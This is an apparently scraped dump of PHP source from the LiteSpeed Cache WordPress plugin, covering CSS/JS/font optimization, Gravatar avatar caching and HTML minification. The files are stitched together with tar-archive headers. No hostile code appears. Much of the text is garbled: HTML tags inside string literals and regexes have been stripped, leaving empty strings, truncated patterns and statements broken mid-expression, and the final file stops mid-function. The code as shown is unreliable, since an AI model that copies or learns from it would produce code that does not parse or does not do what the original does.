$this->cfg_ggfonts_async = !defined('LITESPEED_GUEST_OPTM') && $this->conf(self::O_OPTM_GGFONTS_ASYNC); // forced rm already $this->_conf_css_font_display = !defined('LITESPEED_GUEST_OPTM') && $this->conf(self::O_OPTM_CSS_FONT_DISPLAY); if (!$this->cls('Router')->can_optm()) { self::debug('bypass: admin/feed/preview'); return; } if ($this->cfg_css_async) { $this->_ccss = $this->cls('CSS')->prepare_ccss(); if (!$this->_ccss) { self::debug('❌ CCSS set to OFF due to CCSS not generated yet'); $this->cfg_css_async = false; } elseif (strpos($this->_ccss, '' . $this->html_head; } // Check if there is any critical css rules setting if ($this->cfg_css_async && $this->_ccss) { $this->html_head = $this->_ccss . $this->html_head; } // Replace html head part $this->html_head_early = apply_filters('litespeed_optm_html_head_early', $this->html_head_early); if ($this->html_head_early) { // Put header content to be after charset if (false !== strpos($this->content, ''); $this->content = preg_replace('#]*)>#isU', '' . $this->html_head_early, $this->content, 1); } else { self::debug('Put early optm data to be right after '); $this->content = preg_replace('#]*)>#isU', '' . $this->html_head_early, $this->content, 1); } } $this->html_head = apply_filters('litespeed_optm_html_head', $this->html_head); if ($this->html_head) { if (apply_filters('litespeed_optm_html_after_head', false)) { $this->content = str_replace('', $this->html_head . '', $this->content); } else { // Put header content to dummy css position if (false !== preg_match(self::DUMMY_CSS_REGEX, $this->content)) { self::debug('Put optm data to dummy css location'); $this->content = preg_replace( self::DUMMY_CSS_REGEX, $this->html_head, $this->content ); } // Fallback: try to be after charset elseif (strpos($this->content, ''); $this->content = preg_replace('#]*)>#isU', '' . $this->html_head, $this->content, 1); } else { self::debug('Put optm data to be after '); $this->content = preg_replace('#]*)>#isU', '' . $this->html_head, $this->content, 1); } } } // Replace html foot part $this->html_foot = apply_filters('litespeed_optm_html_foot', $this->html_foot); if ($this->html_foot) { $this->content = str_replace('', $this->html_foot . '', $this->content); } // Drop noscript if enabled if ($this->conf(self::O_OPTM_NOSCRIPT_RM)) { // $this->content = preg_replace( '##isU', '', $this->content ); } // Inline font-face optimize $this->content = $this->__optimizer->optm_font_face( $this->content ); // HTML minify if (defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_HTML_MIN)) { $this->content = $this->__optimizer->html_min($this->content); } } /** * Build a full JS tag * * @since 4.0 */ private function _build_js_tag( $src ) { if ($this->cfg_js_defer === 2 || Utility::str_hit_array($src, $this->cfg_js_delay_inc)) { return ''; } if ($this->cfg_js_defer) { return ''; } return ''; } /** * Build a full inline JS snippet * * @since 4.0 */ private function _build_js_inline( $script, $minified = false ) { if ($this->cfg_js_defer) { $deferred = $this->_js_inline_defer($script, false, $minified); if ($deferred) { return $deferred; } } return ''; } /** * Load JS delay lib * * @since 4.0 */ private function _maybe_js_delay() { if ($this->cfg_js_defer !== 2 && !$this->cfg_js_delay_inc) { return; } if (!defined('LITESPEED_JS_DELAY_LIB_LOADED')) { define('LITESPEED_JS_DELAY_LIB_LOADED', true); $this->html_foot .= ''; } } /** * Google font async * * @since 2.7.3 * @access private */ private function _async_ggfonts() { if (!$this->cfg_ggfonts_async || !$this->_ggfonts_urls) { return; } self::debug2('google fonts async found: ', $this->_ggfonts_urls); $this->html_head_early .= ''; /** * Append fonts * * Could be multiple fonts * * * * -> family: PT Sans:400,700|PT Sans Narrow:400|Montserrat:600 * */ $script = 'WebFontConfig={google:{families:['; $families = array(); foreach ($this->_ggfonts_urls as $v) { $qs = wp_specialchars_decode($v); $qs = urldecode($qs); $qs = parse_url($qs, PHP_URL_QUERY); parse_str($qs, $qs); if (empty($qs['family'])) { self::debug('ERR ggfonts failed to find family: ' . $v); continue; } $subset = empty($qs['subset']) ? '' : ':' . $qs['subset']; foreach (array_filter(explode('|', $qs['family'])) as $v2) { $families[] = Str::trim_quotes($v2 . $subset); } } $script .= '"' . implode('","', $families) . ($this->_conf_css_font_display ? '&display=swap' : '') . '"'; $script .= ']}};'; // if webfontloader lib was loaded before WebFontConfig variable, call WebFont.load $script .= 'if ( typeof WebFont === "object" && typeof WebFont.load === "function" ) { WebFont.load( WebFontConfig ); }'; $html = $this->_build_js_inline($script); // https://cdnjs.cloudflare.com/ajax/libs/webfont/1.6.28/webfontloader.js $webfont_lib_url = LSWCP_PLUGIN_URL . self::LIB_FILE_WEBFONTLOADER; // default async, if js defer set use defer $html .= $this->_build_js_tag($webfont_lib_url); // Put this in the very beginning for preconnect $this->html_head = $html . $this->html_head; } /** * Font optm * * @since 3.0 * @access private */ private function _font_optm() { if (!$this->_conf_css_font_display || !$this->_ggfonts_urls) { return; } self::debug2('google fonts optm ', $this->_ggfonts_urls); foreach ($this->_ggfonts_urls as $v) { if (strpos($v, 'display=')) { continue; } $this->html_head = str_replace($v, $v . '&display=swap', $this->html_head); $this->html_foot = str_replace($v, $v . '&display=swap', $this->html_foot); $this->content = str_replace($v, $v . '&display=swap', $this->content); } } /** * Prefetch DNS * * @since 1.7.1 DNS prefetch * @since 5.6.1 DNS preconnect * @access private */ private function _dns_optm_init() { // Widely enable link DNS prefetch if (defined('LITESPEED_GUEST_OPTM') || $this->conf(self::O_OPTM_DNS_PREFETCH_CTRL)) { @header('X-DNS-Prefetch-Control: on'); } $this->dns_prefetch = $this->conf(self::O_OPTM_DNS_PREFETCH); $this->dns_preconnect = $this->conf(self::O_OPTM_DNS_PRECONNECT); if (!$this->dns_prefetch && !$this->dns_preconnect) { return; } if (function_exists('wp_resource_hints')) { add_filter('wp_resource_hints', array( $this, 'dns_optm_filter' ), 10, 2); } else { add_action('litespeed_optm', array( $this, 'dns_optm_output' )); } } /** * DNS optm hook for WP * * @since 1.7.1 * @access public */ public function dns_optm_filter( $urls, $relation_type ) { if ('dns-prefetch' === $relation_type) { foreach ($this->dns_prefetch as $v) { if ($v) { $urls[] = $v; } } } if ('preconnect' === $relation_type) { foreach ($this->dns_preconnect as $v) { if ($v) { $urls[] = $v; } } } return $urls; } /** * DNS optm output directly * * @since 1.7.1 DNS prefetch * @since 5.6.1 DNS preconnect * @access public */ public function dns_optm_output() { foreach ($this->dns_prefetch as $v) { if ($v) { $this->html_head_early .= ''; } } foreach ($this->dns_preconnect as $v) { if ($v) { $this->html_head_early .= ''; } } } /** * Run minify with src queue list * * @since 1.2.2 * @access private */ private function _src_queue_handler( $src_list, $html_list, $file_type = 'css' ) { $html_list_ori = $html_list; $can_webp = $this->cls('Media')->webp_support(); $tag = $file_type == 'css' ? 'link' : 'script'; foreach ($src_list as $key => $src_info) { // Minify inline CSS/JS if (!empty($src_info['inl'])) { if ($file_type == 'css') { $code = Optimizer::minify_css($src_info['src']); $can_webp && ($code = $this->cls('Media')->replace_background_webp($code)); $snippet = str_replace($src_info['src'], $code, $html_list[$key]); } else { // Inline defer JS if ($this->cfg_js_defer) { $attrs = !empty($src_info['attrs']) ? $src_info['attrs'] : ''; $snippet = $this->_js_inline_defer($src_info['src'], $attrs) ?: $html_list[$key]; } else { $code = Optimizer::minify_js($src_info['src']); $snippet = str_replace($src_info['src'], $code, $html_list[$key]); } } } // CSS/JS files else { $url = $this->_build_single_hash_url($src_info['src'], $file_type); if ($url) { $snippet = str_replace($src_info['src'], $url, $html_list[$key]); } // Handle css async load if ($file_type == 'css' && $this->cfg_css_async) { $snippet = $this->_async_css($snippet); } // Handle js defer if ($file_type === 'js' && $this->cfg_js_defer) { $snippet = $this->_js_defer($snippet, $src_info['src']) ?: $snippet; } } $snippet = str_replace("<$tag ", '<' . $tag . ' data-optimized="1" ', $snippet); $html_list[$key] = $snippet; } $this->content = str_replace($html_list_ori, $html_list, $this->content); } /** * Build a single URL mapped filename (This will not save in DB) * * @since 4.0 */ private function _build_single_hash_url( $src, $file_type = 'css' ) { $content = $this->__optimizer->load_file($src, $file_type); $is_min = $this->__optimizer->is_min($src); $content = $this->__optimizer->optm_snippet($content, $file_type, !$is_min, $src); $filepath_prefix = $this->_build_filepath_prefix($file_type); // Save to file $filename = $filepath_prefix . md5($this->remove_query_strings($src)) . '.' . $file_type; $static_file = LITESPEED_STATIC_DIR . $filename; File::save($static_file, $content, true); // QS is required as $src may contains version info $qs_hash = substr(md5($src), -5); return LITESPEED_STATIC_URL . "$filename?ver=$qs_hash"; } /** * Generate full URL path with hash for a list of src * * @since 1.2.2 * @access private */ private function _build_hash_url( $src_list, $file_type = 'css' ) { // $url_sensitive = $this->conf( self::O_OPTM_CSS_UNIQUE ) && $file_type == 'css'; // If need to keep unique CSS per URI // Replace preserved ESI (before generating hash) if ($file_type == 'js') { foreach ($src_list as $k => $v) { if (empty($v['inl'])) { continue; } $src_list[$k]['src'] = $this->_preserve_esi($v['src']); } } $minify = $file_type === 'css' ? $this->cfg_css_min : $this->cfg_js_min; $filename_info = $this->__optimizer->serve($this->_request_url, $file_type, $minify, $src_list); if (!$filename_info) { return false; // Failed to generate } list($filename, $type) = $filename_info; // Add cache tag in case later file deleted to avoid lscache served stale non-existed files @since 4.4.1 Tag::add(Tag::TYPE_MIN . '.' . $filename); $qs_hash = substr(md5(self::get_option(self::ITEM_TIMESTAMP_PURGE_CSS)), -5); // As filename is already related to filecon md5, no need QS anymore $filepath_prefix = $this->_build_filepath_prefix($type); return LITESPEED_STATIC_URL . $filepath_prefix . $filename . '?ver=' . $qs_hash; } /** * Parse js src * * @since 1.2.2 * @access private */ private function _parse_js() { $excludes = apply_filters('litespeed_optimize_js_excludes', $this->conf(self::O_OPTM_JS_EXC)); $combine_ext_inl = $this->conf(self::O_OPTM_JS_COMB_EXT_INL); if (!apply_filters('litespeed_optm_js_comb_ext_inl', true)) { self::debug2('js_comb_ext_inl bypassed via litespeed_optm_js_comb_ext_inl filter'); $combine_ext_inl = false; } $src_list = array(); $html_list = array(); // V7 added: (?:\r\n?|\n?) to fix replacement leaving empty new line $content = preg_replace('#(?:\r\n?|\n?)#sU', '', $this->content); preg_match_all('#]*)>(.*)(?:\r\n?|\n?)#isU', $content, $matches, PREG_SET_ORDER); foreach ($matches as $match) { $attrs = empty($match[1]) ? array() : Utility::parse_attr($match[1]); if (isset($attrs['data-optimized'])) { continue; } if (!empty($attrs['data-no-optimize'])) { continue; } if (!empty($attrs['data-cfasync']) && $attrs['data-cfasync'] === 'false') { continue; } if (!empty($attrs['type']) && $attrs['type'] != 'text/javascript') { continue; } // to avoid multiple replacement if (in_array($match[0], $html_list)) { continue; } $this_src_arr = array(); // JS files if (!empty($attrs['src'])) { // Exclude check $js_excluded = Utility::str_hit_array($attrs['src'], $excludes); $is_internal = Utility::is_internal_file($attrs['src']); $is_file = substr($attrs['src'], 0, 5) != 'data:'; $ext_excluded = !$combine_ext_inl && !$is_internal; if ($js_excluded || $ext_excluded || !$is_file) { // Maybe defer if ($this->cfg_js_defer) { $deferred = $this->_js_defer($match[0], $attrs['src']); if ($deferred) { $this->content = str_replace($match[0], $deferred, $this->content); } } self::debug2('_parse_js bypassed due to ' . ($js_excluded ? 'js files excluded [hit] ' . $js_excluded : 'external js')); continue; } if (strpos($attrs['src'], '/localres/') !== false) { continue; } if (strpos($attrs['src'], 'instant_click') !== false) { continue; } $this_src_arr['src'] = $attrs['src']; } // Inline JS elseif (!empty($match[2])) { // self::debug( '🌹🌹🌹 ' . $match[2] . '🌹' ); // Exclude check $js_excluded = Utility::str_hit_array($match[2], $excludes); if ($js_excluded || !$combine_ext_inl) { // Maybe defer if ($this->cfg_js_defer) { $deferred = $this->_js_inline_defer($match[2], $match[1]); if ($deferred) { $this->content = str_replace($match[0], $deferred, $this->content); } } self::debug2('_parse_js bypassed due to ' . ($js_excluded ? 'js excluded [hit] ' . $js_excluded : 'inline js')); continue; } $this_src_arr['inl'] = true; $this_src_arr['src'] = $match[2]; if ($match[1]) { $this_src_arr['attrs'] = $match[1]; } } else { // Compatibility to those who changed src to data-src already self::debug2('No JS src or inline JS content'); continue; } $src_list[] = $this_src_arr; $html_list[] = $match[0]; } return array( $src_list, $html_list ); } /** * Inline JS defer * * @since 3.0 * @access private */ private function _js_inline_defer( $con, $attrs = false, $minified = false ) { if (strpos($attrs, 'data-no-defer') !== false) { self::debug2('bypass: attr api data-no-defer'); return false; } $hit = Utility::str_hit_array($con, $this->cfg_js_defer_exc); if ($hit) { self::debug2('inline js defer excluded [setting] ' . $hit); return false; } $con = trim($con); // Minify JS first if (!$minified) { // && $this->cfg_js_defer !== 2 $con = Optimizer::minify_js($con); } if (!$con) { return false; } // Check if the content contains ESI nonce or not $con = $this->_preserve_esi($con); if ($this->cfg_js_defer === 2) { // Drop type attribute from $attrs $attrs = Utility::remove_attr( $attrs, 'type' ); // Replace DOMContentLoaded $con = str_replace('DOMContentLoaded', 'DOMContentLiteSpeedLoaded', $con); return '' . $con . ''; // return ''; // return '' . $con . ''; } return ''; } /** * Replace ESI to JS inline var (mainly used to avoid nonce timeout) * * @since 3.5.1 */ private function _preserve_esi( $con ) { $esi_placeholder_list = $this->cls('ESI')->contain_preserve_esi($con); if (!$esi_placeholder_list) { return $con; } foreach ($esi_placeholder_list as $esi_placeholder) { $js_var = '__litespeed_var_' . self::$_var_i++ . '__'; $con = str_replace($esi_placeholder, $js_var, $con); $this->_var_preserve_js[] = $js_var . '=' . $esi_placeholder; } return $con; } /** * Parse css src and remove to-be-removed css * * @since 1.2.2 * @access private * @return array All the src & related raw html list */ private function _parse_css() { $excludes = apply_filters('litespeed_optimize_css_excludes', $this->conf(self::O_OPTM_CSS_EXC)); $ucss_file_exc_inline = apply_filters('litespeed_optimize_ucss_file_exc_inline', $this->conf(self::O_OPTM_UCSS_FILE_EXC_INLINE)); // Append dummy css to exclude list $excludes[] = 'litespeed-dummy.css'; $combine_ext_inl = $this->conf(self::O_OPTM_CSS_COMB_EXT_INL); if (!apply_filters('litespeed_optm_css_comb_ext_inl', true)) { self::debug2('css_comb_ext_inl bypassed via litespeed_optm_css_comb_ext_inl filter'); $combine_ext_inl = false; } $css_to_be_removed = apply_filters('litespeed_optm_css_to_be_removed', array()); $src_list = array(); $html_list = array(); // $dom = new \PHPHtmlParser\Dom; // $dom->load( $content );return $val; // $items = $dom->find( 'link' ); // V7 added: (?:\r\n?|\n?) to fix replacement leaving empty new line $content = preg_replace( array( '#(?:\r\n?|\n?)#sU', '#]*)>.*(?:\r\n?|\n?)#isU', '#]*)>.*(?:\r\n?|\n?)#isU' ), '', $this->content ); preg_match_all('#]+)/?>|]*)>([^<]+)(?:\r\n?|\n?)#isU', $content, $matches, PREG_SET_ORDER); foreach ($matches as $match) { // to avoid multiple replacement if (in_array($match[0], $html_list)) { continue; } if ($exclude = Utility::str_hit_array($match[0], $excludes)) { self::debug2('_parse_css bypassed exclude ' . $exclude); continue; } $this_src_arr = array(); if (strpos($match[0], 'content = str_replace($match[0], '', $this->content); continue; } // Check if need to inline this css file if ($this->conf(self::O_OPTM_UCSS) && Utility::str_hit_array($attrs['href'], $ucss_file_exc_inline)) { self::debug('ucss_file_exc_inline hit ' . $attrs['href']); // Replace this css to inline from orig html $inline_script = ''; $this->content = str_replace($match[0], $inline_script, $this->content); continue; } // Check Google fonts hit if (strpos($attrs['href'], 'fonts.googleapis.com') !== false) { /** * For async gg fonts, will add webfont into head, hence remove it from buffer and store the matches to use later * * @since 2.7.3 * @since 3.0 For font display optm, need to parse google fonts URL too */ if (!in_array($attrs['href'], $this->_ggfonts_urls)) { $this->_ggfonts_urls[] = $attrs['href']; } if ($this->cfg_ggfonts_rm || $this->cfg_ggfonts_async) { self::debug('rm css snippet [Google fonts] ' . $attrs['href']); $this->content = str_replace($match[0], '', $this->content); continue; } } if (isset($attrs['data-optimized'])) { // $this_src_arr[ 'exc' ] = true; continue; } elseif (!empty($attrs['data-no-optimize'])) { // $this_src_arr[ 'exc' ] = true; continue; } $is_internal = Utility::is_internal_file($attrs['href']); $ext_excluded = !$combine_ext_inl && !$is_internal; if ($ext_excluded) { self::debug2('Bypassed due to external link'); // Maybe defer if ($this->cfg_css_async) { $snippet = $this->_async_css($match[0]); if ($snippet != $match[0]) { $this->content = str_replace($match[0], $snippet, $this->content); } } continue; } if (!empty($attrs['media']) && $attrs['media'] !== 'all') { $this_src_arr['media'] = $attrs['media']; } $this_src_arr['src'] = $attrs['href']; } else { // Inline style if (!$combine_ext_inl) { self::debug2('Bypassed due to inline'); continue; } $attrs = Utility::parse_attr($match[2]); if (!empty($attrs['data-no-optimize'])) { continue; } if (!empty($attrs['media']) && $attrs['media'] !== 'all') { $this_src_arr['media'] = $attrs['media']; } $this_src_arr['inl'] = true; $this_src_arr['src'] = $match[3]; } $src_list[] = $this_src_arr; $html_list[] = $match[0]; } return array( $src_list, $html_list ); } /** * Replace css to async loaded css * * @since 1.3 * @access private */ private function _async_css_list( $html_list, $src_list ) { foreach ($html_list as $k => $ori) { if (!empty($src_list[$k]['inl'])) { continue; } $html_list[$k] = $this->_async_css($ori); } return $html_list; } /** * Async CSS snippet * * @since 3.5 */ private function _async_css( $ori ) { if (strpos($ori, 'data-asynced') !== false) { self::debug2('bypass: attr data-asynced exist'); return $ori; } if (strpos($ori, 'data-no-async') !== false) { self::debug2('bypass: attr api data-no-async'); return $ori; } // async replacement $v = str_replace('stylesheet', 'preload', $ori); $v = str_replace('conf(self::O_OPTM_NOSCRIPT_RM)) { $v .= ''; } return $v; } /** * Defer JS snippet * * @since 3.5 */ private function _js_defer( $ori, $src ) { $ori = Utility::remove_attr( $ori, 'async' ); if (strpos($ori, 'defer') !== false) { return false; } if (strpos($ori, 'data-deferred') !== false) { self::debug2('bypass: attr data-deferred exist'); return false; } if (strpos($ori, 'data-no-defer') !== false) { self::debug2('bypass: attr api data-no-defer'); return false; } /** * Exclude JS from setting * * @since 1.5 */ if (Utility::str_hit_array($src, $this->cfg_js_defer_exc)) { self::debug('js defer exclude ' . $src); return false; } if ($this->cfg_js_defer === 2 || Utility::str_hit_array($src, $this->cfg_js_delay_inc)) { $ori = Utility::remove_attr( $ori, 'type' ); return str_replace(' src=', ' type="litespeed/javascript" data-src=', $ori); } return str_replace('>', ' defer data-deferred="1">', $ori); } /** * Delay JS for included setting * * @since 5.6 */ private function _js_delay( $ori, $src ) { $ori = Utility::remove_attr( $ori, 'async' ); if (strpos($ori, 'defer') !== false) { return false; } if (strpos($ori, 'data-deferred') !== false) { self::debug2('bypass: attr data-deferred exist'); return false; } if (strpos($ori, 'data-no-defer') !== false) { self::debug2('bypass: attr api data-no-defer'); return false; } if (!Utility::str_hit_array($src, $this->cfg_js_delay_inc)) { return; } $ori = Utility::remove_attr( $ori, 'type' ); return str_replace(' src=', ' type="litespeed/javascript" data-src=', $ori); } } avatar.cls.php000064400000021234152077520300007316 0ustar00 rewritten URL to avoid duplicates. * * @var array */ private $_avatar_realtime_gen_dict = []; /** * Summary/status data for last requests. * * @var array */ protected $_summary; /** * Init. * * @since 1.4 */ public function __construct() { $this->_tb = Data::cls()->tb( 'avatar' ); if ( ! $this->conf( self::O_DISCUSS_AVATAR_CACHE ) ) { return; } self::debug2( '[Avatar] init' ); $this->_conf_cache_ttl = $this->conf( self::O_DISCUSS_AVATAR_CACHE_TTL ); add_filter( 'get_avatar_url', [ $this, 'crawl_avatar' ] ); $this->_summary = self::get_summary(); } /** * Check whether DB table is needed. * * @since 3.0 * @access public * @return bool */ public function need_db() { return (bool) $this->conf( self::O_DISCUSS_AVATAR_CACHE ); } /** * Serve static avatar by md5 (used by local static route). * * @since 3.0 * @access public * @param string $md5 MD5 hash of original avatar URL. * @return void */ public function serve_static( $md5 ) { global $wpdb; self::debug( '[Avatar] is avatar request' ); if ( strlen( $md5 ) !== 32 ) { self::debug( '[Avatar] wrong md5 ' . $md5 ); return; } $url = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->prepare( 'SELECT url FROM `' . $this->_tb . '` WHERE md5 = %s', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $md5 ) ); if ( ! $url ) { self::debug( '[Avatar] no matched url for md5 ' . $md5 ); return; } $url = $this->_generate( $url ); wp_safe_redirect( $url ); exit; } /** * Localize/replace avatar URL with cached one (filter callback). * * @since 3.0 * @access public * @param string $url Original avatar URL. * @return string Rewritten/cached avatar URL (or original). */ public function crawl_avatar( $url ) { if ( ! $url ) { return $url; } // Check if already generated in this request. if ( ! empty( $this->_avatar_realtime_gen_dict[ $url ] ) ) { self::debug2( '[Avatar] already in dict [url] ' . $url ); return $this->_avatar_realtime_gen_dict[ $url ]; } $realpath = $this->_realpath( $url ); $mtime = file_exists( $realpath ) ? filemtime( $realpath ) : false; if ( $mtime && time() - (int) $mtime <= $this->_conf_cache_ttl ) { self::debug2( '[Avatar] cache file exists [url] ' . $url ); return $this->_rewrite( $url, $mtime ); } // Only handle gravatar or known remote avatar providers; keep generic check for "gravatar.com". if ( strpos( $url, 'gravatar.com' ) === false ) { return $url; } // Throttle generation. if ( ! empty( $this->_summary['curr_request'] ) && time() - (int) $this->_summary['curr_request'] < 300 ) { self::debug2( '[Avatar] Bypass generating due to interval limit [url] ' . $url ); return $url; } // Generate immediately and track for this request. $this->_avatar_realtime_gen_dict[ $url ] = $this->_generate( $url ); return $this->_avatar_realtime_gen_dict[ $url ]; } /** * Count queued avatars (expired ones) for cron. * * @since 3.0 * @access public * @return int|false */ public function queue_count() { global $wpdb; if ( ! Data::cls()->tb_exist( 'avatar' ) ) { Data::cls()->tb_create( 'avatar' ); } $cnt = $wpdb->get_var( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->prepare( 'SELECT COUNT(*) FROM `' . $this->_tb . '` WHERE dateline < %d', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared time() - $this->_conf_cache_ttl ) ); return (int) $cnt; } /** * Build final local URL for cached avatar. * * @since 3.0 * @param string $url Original URL. * @param int|null $time Optional filemtime for cache busting. * @return string Local URL. */ private function _rewrite( $url, $time = null ) { $qs = $time ? '?ver=' . $time : ''; return LITESPEED_STATIC_URL . '/avatar/' . $this->_filepath( $url ) . $qs; } /** * Generate filesystem realpath for cache file. * * @since 3.0 * @access private * @param string $url Original URL. * @return string Absolute filesystem path. */ private function _realpath( $url ) { return LITESPEED_STATIC_DIR . '/avatar/' . $this->_filepath( $url ); } /** * Get relative filepath for cached avatar. * * @since 4.0 * @param string $url Original URL. * @return string Relative path under avatar/ (may include blog id). */ private function _filepath( $url ) { $filename = md5( $url ) . '.jpg'; if ( is_multisite() ) { $filename = get_current_blog_id() . '/' . $filename; } return $filename; } /** * Cron generation for expired avatars. * * @since 3.0 * @access public * @param bool $force Bypass throttle. * @return void */ public static function cron( $force = false ) { global $wpdb; $_instance = self::cls(); if ( ! $_instance->queue_count() ) { self::debug( '[Avatar] no queue' ); return; } // For cron, need to check request interval too. if ( ! $force ) { if ( ! empty( $_instance->_summary['curr_request'] ) && time() - (int) $_instance->_summary['curr_request'] < 300 ) { self::debug( '[Avatar] curr_request too close' ); return; } } $list = $wpdb->get_results( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->prepare( 'SELECT url FROM `' . $_instance->_tb . '` WHERE dateline < %d ORDER BY id DESC LIMIT %d', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared time() - $_instance->_conf_cache_ttl, (int) apply_filters( 'litespeed_avatar_limit', 30 ) ) ); self::debug( '[Avatar] cron job [count] ' . ( $list ? count( $list ) : 0 ) ); if ( $list ) { foreach ( $list as $v ) { self::debug( '[Avatar] cron job [url] ' . $v->url ); $_instance->_generate( $v->url ); } } } /** * Download and store the avatar locally, then update DB row. * * @since 3.0 * @access private * @param string $url Original avatar URL. * @return string Rewritten local URL (fallback to original on failure). */ private function _generate( $url ) { global $wpdb; $file = $this->_realpath( $url ); // Mark request start self::save_summary( [ 'curr_request' => time(), ] ); // Ensure cache directory exists $this->_maybe_mk_cache_folder( 'avatar' ); $response = wp_safe_remote_get( $url, [ 'timeout' => 180, 'stream' => true, 'filename' => $file, ] ); self::debug( '[Avatar] _generate [url] ' . $url ); // Parse response data if ( is_wp_error( $response ) ) { $error_message = $response->get_error_message(); if ( file_exists( $file ) ) { wp_delete_file( $file ); } self::debug( '[Avatar] failed to get: ' . $error_message ); return $url; } // Save summary data self::save_summary( [ 'last_spent' => time() - (int) $this->_summary['curr_request'], 'last_request' => $this->_summary['curr_request'], 'curr_request' => 0, ] ); // Update/insert DB record $md5 = md5( $url ); $existed = $wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->prepare( 'UPDATE `' . $this->_tb . '` SET dateline = %d WHERE md5 = %s', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared time(), $md5 ) ); if ( ! $existed ) { $wpdb->query( // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching $wpdb->prepare( 'INSERT INTO `' . $this->_tb . '` (url, md5, dateline) VALUES (%s, %s, %d)', // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $url, $md5, time() ) ); } self::debug( '[Avatar] saved avatar ' . $file ); return $this->_rewrite( $url ); } /** * Handle all request actions from main cls. * * @since 3.0 * @access public * @return void */ public function handler() { $type = Router::verify_type(); switch ( $type ) { case self::TYPE_GENERATE: self::cron( true ); break; default: break; } Admin::redirect(); } } optimizer.cls.php000064400000025002152077520300010057 0ustar00_conf_css_font_display = $this->conf(Base::O_OPTM_CSS_FONT_DISPLAY); } /** * Run HTML minify process and return final content * * @since 1.9 * @access public */ public function html_min( $content, $force_inline_minify = false ) { if (!apply_filters('litespeed_html_min', true)) { Debug2::debug2('[Optmer] html_min bypassed via litespeed_html_min filter'); return $content; } $options = array(); if ($force_inline_minify) { $options['jsMinifier'] = __CLASS__ . '::minify_js'; } $skip_comments = $this->conf(Base::O_OPTM_HTML_SKIP_COMMENTS); if ($skip_comments) { $options['skipComments'] = $skip_comments; } /** * Added exception capture when minify * * @since 2.2.3 */ try { $obj = new Lib\HTML_MIN($content, $options); $content_final = $obj->process(); // check if content from minification is empty if ($content_final == '') { Debug2::debug('Failed to minify HTML: HTML minification resulted in empty HTML'); return $content; } if (!defined('LSCACHE_ESI_SILENCE')) { $content_final .= "\n" . ''; } return $content_final; } catch (\Exception $e) { Debug2::debug('******[Optmer] html_min failed: ' . $e->getMessage()); error_log('****** LiteSpeed Optimizer html_min failed: ' . $e->getMessage()); return $content; } } /** * Run minify process and save content * * @since 1.9 * @access public */ public function serve( $request_url, $file_type, $minify, $src_list ) { // Try Unique CSS if ($file_type == 'css') { $content = false; if (defined('LITESPEED_GUEST_OPTM') || $this->conf(Base::O_OPTM_UCSS)) { $filename = $this->cls('UCSS')->load($request_url); if ($filename) { return array( $filename, 'ucss' ); } } } // Before generated, don't know the contented hash filename yet, so used url hash as tmp filename $file_path_prefix = $this->_build_filepath_prefix($file_type); $url_tag = $request_url; $url_tag_for_file = md5($request_url); if (is_404()) { $url_tag_for_file = $url_tag = '404'; } elseif ($file_type == 'css' && apply_filters('litespeed_ucss_per_pagetype', false)) { $url_tag_for_file = $url_tag = Utility::page_type(); } $static_file = LITESPEED_STATIC_DIR . $file_path_prefix . $url_tag_for_file . '.' . $file_type; // Create tmp file to avoid conflict $tmp_static_file = $static_file . '.tmp'; if (file_exists($tmp_static_file) && time() - filemtime($tmp_static_file) <= 600) { // some other request is generating return false; } // File::save( $tmp_static_file, '/* ' . ( is_404() ? '404' : $request_url ) . ' */', true ); // Can't use this bcos this will get filecon md5 changed File::save($tmp_static_file, '', true); // Load content $real_files = array(); foreach ($src_list as $src_info) { $is_min = false; if (!empty($src_info['inl'])) { // Load inline $content = $src_info['src']; } else { // Load file $content = $this->load_file($src_info['src'], $file_type); if (!$content) { continue; } $is_min = $this->is_min($src_info['src']); } $content = $this->optm_snippet($content, $file_type, $minify && !$is_min, $src_info['src'], !empty($src_info['media']) ? $src_info['media'] : false); // Write to file File::save($tmp_static_file, $content, true, true); } // if CSS - run the minification on the saved file. // Will move imports to the top of file and remove extra spaces. if ($file_type == 'css') { $obj = new Lib\CSS_JS_MIN\Minify\CSS(); $file_content_combined = $obj->moveImportsToTop(File::read($tmp_static_file)); File::save($tmp_static_file, $file_content_combined); } // validate md5 $filecon_md5 = md5_file($tmp_static_file); $final_file_path = $file_path_prefix . $filecon_md5 . '.' . $file_type; $realfile = LITESPEED_STATIC_DIR . $final_file_path; if (!file_exists($realfile)) { rename($tmp_static_file, $realfile); Debug2::debug2('[Optmer] Saved static file [path] ' . $realfile); } else { unlink($tmp_static_file); } $vary = $this->cls('Vary')->finalize_full_varies(); Debug2::debug2("[Optmer] Save URL to file for [file_type] $file_type [file] $filecon_md5 [vary] $vary "); $this->cls('Data')->save_url($url_tag, $vary, $file_type, $filecon_md5, dirname($realfile)); return array( $filecon_md5 . '.' . $file_type, $file_type ); } /** * Add font optimization to content provided. * * @param string $content Content to change * @return string Changed content * @since 7.8 */ public function optm_font_face( $content ) { // skip $this->_conf_css_font_display if not true or empty content if ( ! $this->_conf_css_font_display || empty( $content ) ) { return $content; } $optimize_value = apply_filters( 'litespeed_font_optimize_value', 'swap' ); $search_pattern = "/font-display\s*:(?!\s*" . preg_quote($optimize_value, '/') . ")[^;]+;?/ism"; return preg_replace_callback( '/@font-face\s*\{([^\}]*)\}/iS', function( $matches ) use ( $optimize_value, $search_pattern ) { $block_content = $matches[1]; // add font-display if content do not have if ( stripos( $block_content, 'font-display' ) === false ) { $block_content = "font-display:" . $optimize_value . ";" . $block_content; } else if( 0 !== preg_match( $search_pattern, $block_content ) ) { // font-display have other value than swap $block_content = preg_replace( 